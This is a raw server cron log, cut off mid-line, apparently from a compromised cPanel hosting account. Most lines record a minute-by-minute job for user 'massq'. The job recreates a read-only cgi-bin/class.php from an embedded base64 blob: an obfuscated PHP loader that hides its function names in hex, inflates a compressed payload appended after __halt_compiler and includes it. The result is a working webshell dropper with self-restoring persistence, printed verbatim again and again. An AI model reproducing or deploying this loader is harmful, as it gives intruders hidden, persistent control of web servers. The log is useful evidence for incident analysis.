Nov 15 11:21:01 server CROND[2298]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:22:01 server CROND[2558]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:23:01 server CROND[2823]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:24:01 server CROND[3164]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:25:01 server CROND[3477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 11:25:01 server CROND[3478]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 11:25:01 server CROND[3481]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:26:01 server CROND[3806]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:27:01 server CROND[4069]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 11:27:01 server CROND[4070]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:28:01 server CROND[4339]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:29:01 server CROND[4629]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:30:01 server CROND[5009]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:30:01 server CROND[5010]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 11:30:01 server CROND[5012]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 11:30:01 server CROND[5011]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 11:31:01 server CROND[5336]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:32:01 server CROND[5599]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:33:01 server CROND[5884]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:34:01 server CROND[6155]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 